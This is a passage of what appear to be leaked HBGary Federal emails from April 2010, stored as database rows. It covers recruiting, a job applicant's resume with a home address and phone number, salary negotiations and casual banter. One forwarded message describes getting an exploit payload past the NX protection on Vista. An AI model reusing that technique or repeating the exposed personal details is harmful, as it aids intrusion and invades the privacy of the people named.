at 6:32 PM, Dino Dai Zovi wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Yes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n> \r\n> Cheers,\r\n> \r\n> -Dino\r\n> \r\n> On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n> \r\n>> \r\n>> \r\n>> ---------- Forwarded message ----------\r\n>> From: Aaron Barr \r\n>> Date: Tue, Apr 13, 2010 at 10:43 AM\r\n>> Subject: Update\r\n>> To: Dino Dai Zovi \r\n>> \r\n>> \r\n>> LinkedIn\r\n>> Aaron Barr has sent you a message.\r\n>> Date: 4/13/2010\r\n>> Subject: Update\r\n>> Hi Dino,\r\n>> \r\n>> It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n>> \r\n>> Aaron\r\n>> View/reply to this message\r\n>> Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n>> \r\n>> © 2010, LinkedIn Corporation\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6477,'aaron_hbgary_com/6477.html'),(5309,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003868.M480401P14101Q165.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#ugzcixcjqfajb9sd','Begin forwarded message:From: &lt;gavinzhu1127@gmail.com&gt;\r\nDate: April 13, 2010 9:03:19 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #ugzcixcjqfajb9sd\r\nReply-To: &lt;gavinzhu1127@gmail.com&gt;\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\nCover Letter\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGuangwen  Zhu \r\n\r\nElkton, MD  21921\r\nUS\r\ngavinzhu1127@gmail.com\r\n\r\n\r\n\r\n\r\n\r\nMobile:   \r\nHome: \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n													Download Job Seeker&#39;s Word® Resume\r\n\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\nugzcixcjqfajb9sd   Resume Headline: Guangwen&#39;s Resume- 0110  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\nGavin (Guangwen) Zhu\r\nCONTACT INFORMATION\r\n\r\n2807 Stone Gate Blvd\r\n(740)- 331-2641                      \r\nElkton, MD 21921\r\n\r\ngavinzhu1127@gmail.com\r\n \r\nHIGHLIGHTS\r\n\r\nStatistical modeling and industry consulting experience in quantitative analysis with SAS, Minitab &amp; VBA\r\nGreat team work and independent work spirit through the intern experience at DuPont\r\n\r\nStrong verbal and written communication skills through two years teaching experience at Ohio University\r\n \r\nEDUCATION\r\n\r\nM.S. in Statistics, University of Delaware, Newark, DE (GPA: 3.9/4.0)\r\nMay 2010\r\nRelevant Courses: \r\nRegression Analysis, Logistic Regression, Database Management, Experiments  Design, Multivariate Methods, Optimization in Statistics\r\n\r\nM.S. in Mathematics, Ohio University, Athens, OH (GPA:3.6/4.0)\r\nJun 2008\r\nRelevant Courses: Linear Models, Theory of Statistics, Actuarial Science, Financial Derivatives\r\n\r\nB.S. in Mathematics, East China Normal University, Shanghai, China (3.7/4.0)\r\nJun 2005\r\nRelevant Courses: Mathematical Models, \r\nStatistical Methods, Micro-Economics\r\n \r\nCERTIFICATIONS &amp; LICENSES\r\n\r\nSAS Advanced Programming Certification for SAS 9.0\r\nJul 2009\r\nSAS Base Programming Certification for SAS 9.0\r\nMay 2009\r\n \r\nWORK EXPERIENCE\r\nStatistical Analyst &amp; Modeler (\r\nIntern), DuPont Experimental Station, Wilmington, DE\r\nJun 2009-Current\r\n\r\nCurrently taking intern at DuPont as a team member in Statistics &amp; Modeling Team. The main task is to build the Corn Root Worm Spatial Explicit Model to get the EPA (Environmental Protection Agency) registration for a new transgenic Bt corn, AcreMax under a restricted timeline\r\n\r\nFitted both the male and female western corn root worm’ egg emergence data via logistic regression \r\nusing SAS PROC LOGISTIC and compared the results based on different life stages\r\n\r\nDeveloped simulation models for beetles’ dispersal and random mating process using\r\n R in order to be integrated into a simulation model for corn pest survival prediction\r\n\r\nComputed sample size and quartiles and assisted in building models by VB.Net and Crystal Ball\r\n\r\n\r\nCollaborated with team members to validate models and conduct sensitivity test based on different scenarios for improving the marketing strategy\r\n\r\n\r\nComposed user manual of models and drew high dimension flow chart for the model report\r\n\r\nUsed SAS procedure PROC GLM to analysis the Soybean data in order to compare the performance of the plant at different growth stage\r\n\r\nManipulated large data sets using Excel (Pivot tables, Lookups, VBA Macro’s) and Access (SQL) and prepared final statistical reports and data presentations \r\nResearch Assistant, University of Delaware, Newark, DE\r\n\r\nSep 2008- May 2009\r\n\r\nParticipated the statistical consulting service at Stat Lab and did projects from a variety of disciplines\r\n\r\n\r\nWorked on data cleaning and database management by using SAS DATA STEP and procedures such as PROC FREQ, PROC SUMMARY, PROC UNIVARIATE, PROC TABULATE, PROC GPLOT and MACROS \r\n\r\n\r\nContributed in writing the textbook of advanced regression using LaTeX \r\nTeaching Assistant, Ohio University, Athens, OH\r\nSep 2006 - Jun 2008\r\n\r\nWorked as an independent instructor of 40 plus class size of undergraduates from various science majors for the following courses: Algebra, Pre- Calculus, Statistics I, Statistics II\r\n\r\nResponsible for teaching five credit hours every week, writing syllabus, holding daily office hours, creating and grading the quizzes and exams\r\n\r\n \r\nDATA ANALYSIS EXPERIENCE\r\nUndertook projects on the statistical laboratory at University of Delaware\r\n by using SAS, R, JMP and Minitab around regression, experiment design, random sampling, PCA, GLM, survival analysis etc. Examples of projects:\r\nPredicting the Blue Nile Diamond Price\r\n:\r\nUsed stratified sampling method to collect the data sample of diamond price\r\n\r\nCreated Dummy variables of the key price determinants \r\n(4C: Carat, Color, Clarity, Cut) in JMP\r\nFitted the data with both log-linear and nonlinear model to decide which model would be better to predict the diamond price\r\n\r\nDesigning Marketing Strategies for HT Company:\r\n\r\nIdentified key variables (the ordinal, nominal and continuous variables) that affect the purchase\r\n\r\nConducted n\r\normality test for continuous data and correlation analysis for independent variables\r\nBuilt multiple regression models with log-transformation and dummy variables via SAS PROC REG\r\n\r\n\r\nOptimized marketing strategies for the company to sell HyTex products\r\nEvaluating American College Students’ Foreign Language Learning Ability \r\n\r\n\r\nDesigned the survey questionnaire before and after the students received training in foreign country\r\n\r\nPerformed two-sample T-test, ANOVA, ANCOVA and descriptive statistics analysis to evaluate students’ improvement of performance in the aspect of listening, speaking, reading and writing by Minitab\r\n\r\nComparing the Relaxation Methods to Lower Blood P\r\nressure\r\nDraw the scatter plot of the blood pressure versus four weeks of three relaxation methods via Minitab and explained the plot in clear and simple terms\r\n\r\nBuilt mixed model using SAS PROC MIXED with the factor of treatment, week and their interaction with different assumptions of the variance-covariance matrix for a single subject (patient)\r\n\r\n\r\nCompared the three relaxation methods to find the best treatment to lower blood pressure\r\nClustering the National Track Records in 2005 for Men \r\n\r\nTreated Euclidean distance between pairs of countries as measures of dissimilarities, clustered the countries using both the single-linkage and complete-linkage hierarchical procedures\r\n\r\nDecided several reasonable numbers of groups from the dendrograms\r\nInput the data into a K-means clustering program of R to cluster the countries into several groups\r\n\r\nUsed the chosen cluster number as the discriminating variable to conduct the discriminate analysis\r\n\r\nExplained the reason for grouping the countries by principle component analysis\r\n\r\n \r\nRESEARCH EXPERIENCE\r\nOhio University, Bioinformatics, Athens, OH            \r\n\r\nFeb 2007 - May 2008\r\nFirst master’s student earned degree by composing a thesis in recent years\r\nMaster’s Thesis: Structural Stability Conditions for Boolean Delay Equations \r\n\r\nThesis Advisor: Winfried Just, PhD\r\nMain Results:\r\nP\r\nrovided various possible formal definitions of structural stability and gave some examples to show the relationship between them\r\n \r\nImplemented an algorithm to give a visual intuition of the solution for Boolean delay system by Matlab\r\n\r\n \r\nACTIVITIES\r\n2010 Shamrock Marathon(Half Marathon), Virginia Beach, VA\r\n\r\nMar 2010\r\n2009 Philadelphia Marathon (Half Marathon), Philadelphia, PA\r\nNov 2009\r\n\r\n2009 Triple Crown Trail Marathon (10 K), Newark, DE\r\nApr 2009\r\n\r\n \r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Salary/Wage:\r\n58,000.00 - 62,000.00 USD Per Year \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nEntry Level\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n1+ to 2 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nNo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nTarget Job Title:\r\nanalyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Job Type:\r\nEmployee\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Status:\r\nFull-Time\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Company:\r\nIndustry:\r\nBiotechnology/PharmaceuticalsBankingInsurance\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOccupation:\r\nAccounting/Finance/InsuranceActuarial Analysis\r\nCredit Review/AnalysisFinancial Analysis/Research/ReportingRisk Management/Compliance\r\nMarketing/ProductMarket Research\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 100%\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n\r\nExperience:\r\n - Present\r\nDuPont\r\n\r\n\r\n\r\n\r\n          \r\n					Industry: Biotechnology/Pharmaceuticals\r\n\r\n\r\n\r\nStatistical Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n\r\nLanguages:\r\nLanguages\r\nProficiency Level\r\n\r\n\r\n\r\nChinese - Mandarin\r\nFluent\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n COVER LETTER\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am a master’s student majoring in statistics at the University of Delaware. I am expecting to graduate in May 2010. Also, I have completed my master’s degree in mathematics at Ohio University. During this time, I worked as an undergraduate instructor for two years. I believe I possess the ability to effectively communicate work to others.\r\n\r\nIn addition to my educational achievements, I am a statistical consultant intern for DuPont. During my internships, I worked both independently and as a team member with the statisticians at DuPont. I have worked on and learned a great deal from several very interesting and complex projects. Currently, I am assisting the marketing figure out a strategy for profitably planting the products and build simulation model to support the product to get the registration from EPA.\r\n\r\nI have a strong interest in joining HBGary Federal, as an applicant for your Multi-Source Intelligence Analyst Position. HBGary Federal, can not only provide the outstanding opportunity to have the hand-on work experience of many new and challenging projects with experienced and driven intelligences, but also will help me develop organizational knowledge, insight and business relationships. The most important thing is that I can apply my analytical and technical skills to complex problems while learning business principles.\r\n\r\nI believe that my solid mathematical background, data analysis skill and work experience will be an ideal fit for this position. Attached are my resume with details of my skills and accomplishments. If you need any further information, please let me know. \r\n\r\nThank you for your time and consideration! Looking forward to hearing from you soon.\r\n\r\nSincerely,\r\n\r\nGuangewn Zhu\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n* You may download a Word document of this resume from the Software Application Developer, Windows Platform folder. View Resume\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3466,'aaron_hbgary_com/3466.html'),(5310,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003868.M710613P14101Q166.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Hallelujah - Jeff Buckley (CHORDS INCLUDED)','Noooo...http://www.youtube.com/watch?v=y8AWFf7EAc4On Apr 13, 2010, at 11:39 PM, Ted Vera wrote:There\'s a ton. Is this the one?Check out this video on YouTube:http://www.youtube.com/watch?v=8TgzTfume2c&amp;feature=youtube_gdataSent from my iPad\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15485,'aaron_hbgary_com/15485.html'),(5311,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003868.M946692P14101Q167.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Shawn From Clear Hat','See Shawn&#39;s explanation below. Sounds easy enough, I think Mark would have figured it out on his own if I stopped distracting him with proposals and stuff. \r\nBegin forwarded message:From: embleton@clearhatconsulting.com\r\nDate: April 13, 2010 9:35:29 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: Shawn From Clear Hat\r\nHi Ted,My Clear Hat mail was down earlier so I sent you an email from my school account\r\nembleton@cs.ucf.edu but don&#39;t know if you got that one. Anyhow, I will just workon the project until I hear from you tomorrow.As an update, regarding the stuff I sent last Monday, execution was indeed making\r\nit to the payload but it turns out the access violation was due to the mapping notbeing executable so it was crapping out on the instruction fetch. Vista (or maybethe 64-bitness) probably has additional protection that XP lacked as the problem\r\nwas not present with the original code running under XP.Using WindDbg to clear the NX bit at an earlier breakpoint allows the execution tocontinue to the actual payload (so I will update the ported code to either change\r\nthe mapping type or add code to clear the NX bit) and then start the testing onthe additional OS&#39;s.Shawn\r\n\r\n',5675,'aaron_hbgary_com/5675.html'),(5312,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003868.M95678P14101Q164.eml','\"Dino Dai Zovi\" <ddz@trailofbits.com>','Re: Update','Dino,\r\n\r\nOne other thing.  I completely get wanting to work as a consultant, with your skills, you could probably do that for quite some time, and honestly our pipeline is not quite there at the moment to fully engage someone with your background, but it will be in the next few months going forward, so keep us in mind if you at some point are interested in joining a small outfit again.\r\n\r\nIn the meantime perfectly happy to use you as a hired gun.\r\n\r\nAaron\r\n\r\nOn Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Yes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n> \r\n> Cheers,\r\n> \r\n> -Dino\r\n> \r\n> On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n> \r\n>> \r\n>> \r\n>> ---------- Forwarded message ----------\r\n>> From: Aaron Barr \r\n>> Date: Tue, Apr 13, 2010 at 10:43 AM\r\n>> Subject: Update\r\n>> To: Dino Dai Zovi \r\n>> \r\n>> \r\n>> LinkedIn\r\n>> Aaron Barr has sent you a message.\r\n>> Date: 4/13/2010\r\n>> Subject: Update\r\n>> Hi Dino,\r\n>> \r\n>> It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n>> \r\n>> Aaron\r\n>> View/reply to this message\r\n>> Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n>> \r\n>> © 2010, LinkedIn Corporation\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5223,'aaron_hbgary_com/5223.html'),(5313,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003869.M155291P14101Q168.eml','\"Ted Vera\" <tedvera@me.com>','Re: Hallelujah - Jeff Buckley (CHORDS INCLUDED)','meh. &nbsp;ok you do have a laptop.On Apr 14, 2010, at 12:00 AM, Ted Vera wrote:Doesn\'t work on my iPhone or iPad.&nbsp;Sent from my iPadOn Apr 13, 2010, at 9:44 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Noooo...http://www.youtube.com/watch?v=y8AWFf7EAc4On Apr 13, 2010, at 11:39 PM, Ted Vera wrote:There\'s a ton. Is this the one?Check out this video on YouTube:http://www.youtube.com/watch?v=8TgzTfume2c&amp;feature=youtube_gdataSent from my iPad\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6726,'aaron_hbgary_com/6726.html'),(5314,'2010-04-14','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003869.M604321P14101Q169.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Fwd: Shawn From Clear Hat','\r\n\r\n\r\n  \r\n  \r\n\r\n\r\nOh yeah, I was all over that one.\r\n\r\nTed Vera wrote:\r\n\r\n  See Shawn\'s explanation below.&nbsp;Sounds easy enough, I think Mark would have figured it out on\r\nhis own if I stopped distracting him with proposals and stuff.&nbsp;\r\n  \r\n  \r\n  \r\nBegin forwarded message:\r\n  \r\n  \r\n  \r\n    From: embleton@clearhatconsulting.com\r\n    Date: April 13, 2010 9:35:29 PM MDT\r\n    To: \"Ted Vera\" &lt;ted@hbgary.com&gt;\r\n    Subject: Shawn From Clear Hat\r\n    \r\n    \r\n  \r\n  \r\n    \r\n    Hi Ted,\r\n    \r\n    \r\n    My Clear Hat mail was down earlier so I sent you an email from\r\nmy school account\r\n    embleton@cs.ucf.edu\r\nbut don\'t know if you got that one. Anyhow, I will just work\r\n    on the project until I hear from you tomorrow.\r\n    \r\n    \r\n    As an update, regarding the stuff I sent last Monday,\r\nexecution was indeed making\r\n    it to the payload but it turns out the access violation was\r\ndue to the mapping not\r\n    being executable so it was crapping out on the instruction\r\nfetch. Vista (or maybe\r\n    the 64-bitness) probably has additional protection that XP\r\nlacked as the problem\r\n    was not present with the original code running under XP.\r\n    \r\n    \r\n    \r\n    Using WindDbg to clear the NX bit at an earlier breakpoint\r\nallows the execution to\r\n    continue to the actual payload (so I will update the ported\r\ncode to either change\r\n    the mapping type or add code to clear the NX bit) and then\r\nstart the testing on\r\n    the additional OS\'s.\r\n    \r\n    \r\n    Shawn\r\n    \r\n    \r\n    \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n',7978,'aaron_hbgary_com/7978.html'),(5315,'2010-04-14','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003869.M914531P14101Q170.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Hallelujah - Jeff Buckley (CHORDS INCLUDED)','I just finished taking an online survey for our marriage \"coaching\". I still haven\'t decided if I am going to attend the sessions. The survey was developed by this husband/wife team. Very un-scientific, this survey would not hold water in stats class. Lots of spiritual / faith references. Sigh...Sent from my iPadOn Apr 13, 2010, at 10:03 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:meh. &nbsp;ok you do have a laptop.On Apr 14, 2010, at 12:00 AM, Ted Vera wrote:Doesn\'t work on my iPhone or iPad.&nbsp;Sent from my iPadOn Apr 13, 2010, at 9:44 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Noooo...http://www.youtube.com/watch?v=y8AWFf7EAc4On Apr 13, 2010, at 11:39 PM, Ted Vera wrote:There\'s a ton. Is this the one?Check out this video on YouTube:http://www.youtube.com/watch?v=8TgzTfume2c&amp;feature=youtube_gdataSent from my iPad\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13052,'aaron_hbgary_com/13052.html'),(5316,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003870.M179354P14101Q171.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Ran in to an oldie but a goodie','Either of you guys seen Winnebego Man.F\'n hilarious.http://www.youtube.com/watch?v=zSWUWPx2VeQ\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7968,'aaron_hbgary_com/7968.html'),(5317,'2010-04-14','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003870.M401293P14101Q172.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Ran in to an oldie but a goodie','It claims to be not available\n\nAaron Barr  wrote:\n\n>Either of you guys seen Winnebego Man.\r\n>\r\n>F\'n hilarious.\r\n>\r\n>http://www.youtube.com/watch?v=zSWUWPx2VeQ\r\n>\r\n>Aaron Barr\r\n>CEO\r\n>HBGary Federal Inc.\r\n>\r\n',12830,'aaron_hbgary_com/12830.html'),(5318,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003870.M620322P14101Q173.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: Ran in to an oldie but a goodie','Your kidding fuk these are just video links.  I give up.  Of ur\r\nscrewing with me mark.  Well shame on you.\r\n\r\n\r\n From my iPhone\r\n\r\nOn Apr 14, 2010, at 1:01 AM, Mark Trynor  wrote:\r\n\r\n> It claims to be not available\r\n>\r\n> Aaron Barr  wrote:\r\n>\r\n>> Either of you guys seen Winnebego Man.\r\n>>\r\n>> F\'n hilarious.\r\n>>\r\n>> http://www.youtube.com/watch?v=zSWUWPx2VeQ\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',11498,'aaron_hbgary_com/11498.html'),(5319,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003870.M903532P14101Q174.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: HB Gary','\r\n\r\n-------- Original Message --------\r\nSubject: HB Gary\r\nDate: Tue, 13 Apr 2010 23:02:37 -0600\r\nFrom: Aaron Spring \r\nReply-To: aspring@springdesigngroup.com\r\nTo: Ted Vera \r\n\r\nTed,\r\n\r\nFirst off, I want to thank you for this job opportunity. I have always\r\nenjoyed working for and with you in our past endeavors. HB Gary appears\r\nto be a leader in the cyber security marketplace. Being part of that\r\nteam on both the commercial and government side is very intriguing. The\r\nopportunity to work with Aaron, Mark and yourself to build a new\r\ncorporate entity is very exciting and promising. I know as I\'m sure you\r\ndo, that with us involved we can make huge strides and growth for HB Gary.\r\n\r\nAs you know, I\'m in a unique situation in my life where I have went\r\nthrough a lot of financial challenges. As you stated in our last phone\r\ncall, I am risk adverse right now. I am at a point in my life where I\r\nneed to ensure that my current financial position is not comprised, and\r\nany moves I make need to benefit my situation. I\'ve reviewed the benefit\r\ndocuments you sent, and compared them to my current benefit package.\r\n\r\nI do have a few questions about this opportunity. Does the health/dental\r\ninsurance cover just the employee, or does the company help pay for\r\ndependents? What is the vacation policy at HB Gary? Are unused vacation\r\ndays rollover over to the following year? Does HB Gary offer personal or\r\nsick days? If so, how many and under what circumstances? Does HB Gary\r\noffer flextime? Is working from home part-time an option?\r\n\r\nI bring significant graphic design and marketing experience with many\r\nFortune 500 and government customers. In addition, Mark and I work very\r\nwell together and are able to create more in less time and resources\r\nthan a team of typical developers. I also bring a well respected\r\nclearance, that can be applied to future government contracts. To make\r\nthis transition, I would appreciate the following compensation.\r\n\r\n    * Title: VP or Director level title\r\n    * Salary: $130,000 - $135,000\r\n    * Profit Sharing: Between 2-3% interest in all that we secure for HB\r\n      Gary Federal\r\n\r\nI am very excited about this opportunity, and positive that I can help\r\nthis team can achieve incredible results. I know that I can provide a\r\ngreat value to HB Gary in all of their creative and marketing needs. I\r\nlook forward to your response and will be happy to answer or clarify any\r\nquestions you may have.\r\n\r\nThank you once again for this amazing opportunity!\r\n\r\nV/R,\r\n\r\nAaron Spring\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2926,'aaron_hbgary_com/2926.html'),(5320,'2010-04-14','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003871.M142534P14101Q175.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Ran in to an oldie but a goodie','Nope.  No kid. The linky no clicky.  That\'s my technical take on that\n\nAaron Barr  wrote:\n\n>Your kidding fuk these are just video links.  I give up.  Of ur\r\n>screwing with me mark.  Well shame on you.\r\n>\r\n>\r\n> From my iPhone\r\n>\r\n>On Apr 14, 2010, at 1:01 AM, Mark Trynor  wrote:\r\n>\r\n>> It claims to be not available\r\n>>\r\n>> Aaron Barr  wrote:\r\n>>\r\n>>> Either of you guys seen Winnebego Man.\r\n>>>\r\n>>> F\'n hilarious.\r\n>>>\r\n>>> http://www.youtube.com/watch?v=zSWUWPx2VeQ\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n',2805,'aaron_hbgary_com/2805.html'),(5321,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003871.M385602P14101Q176.eml','\"Mark Trynor\" <mark@hbgary.com>','Re: Ran in to an oldie but a goodie','Dnit just friggin search for winnebego man.\r\n\r\n From my iPhone\r\n\r\nOn Apr 14, 2010, at 1:10 AM, Mark Trynor  wrote:\r\n\r\n> Nope.  No kid. The linky no clicky.  That\'s my technical take on that\r\n>\r\n> Aaron Barr  wrote:\r\n>\r\n>> Your kidding fuk these are just video links.  I give up.  Of ur\r\n>> screwing with me mark.  Well shame on you.\r\n>>\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Apr 14, 2010, at 1:01 AM, Mark Trynor  wrote:\r\n>>\r\n>>> It claims to be not available\r\n>>>\r\n>>> Aaron Barr  wrote:\r\n>>>\r\n>>>> Either of you guys seen Winnebego Man.\r\n>>>>\r\n>>>> F\'n hilarious.\r\n>>>>\r\n>>>> http://www.youtube.com/watch?v=zSWUWPx2VeQ\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n',3856,'aaron_hbgary_com/3856.html'),(5322,'2010-04-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003871.M638326P14101Q177.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Ran in to an oldie but a goodie','The only thing I hate about the iPhone is the position of the\r\nbackspace key.  I always delete my m s and have to correct.  Errr\r\n\r\n From my iPhone\r\n\r\nOn Apr 14, 2010, at 1:10 AM, Mark Trynor  wrote:\r\n\r\n> Nope.  No kid. The linky no clicky.  That\'s my technical take on that\r\n>\r\n> Aaron Barr  wrote:\r\n>\r\n>> Your kidding fuk these are just video links.  I give up.  Of ur\r\n>> screwing with me mark.  Well shame on you.\r\n>>\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Apr 14, 2010, at 1:01 AM, Mark Trynor  wrote:\r\n>>\r\n>>> It claims to be not available\r\n>>>\r\n>>> Aaron Barr  wrote:\r\n>>>\r\n>>>> Either of you guys seen Winnebego Man.\r\n>>>>\r\n>>>> F\'n hilarious.\r\n>>>>\r\n>>>> http://www.youtube.com/watch?v=zSWUWPx2VeQ\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>>\r\n',3086,'aaron_hbgary_com/3086.html'),(5323,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003871.M890073P14101Q178.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#sjczcneqw3eviit4','Sent from my iPadBegin forwarded message:From: &lt;nydjs-monsterjobs@yahoo.com&gt;\r\nDate: April 13, 2010 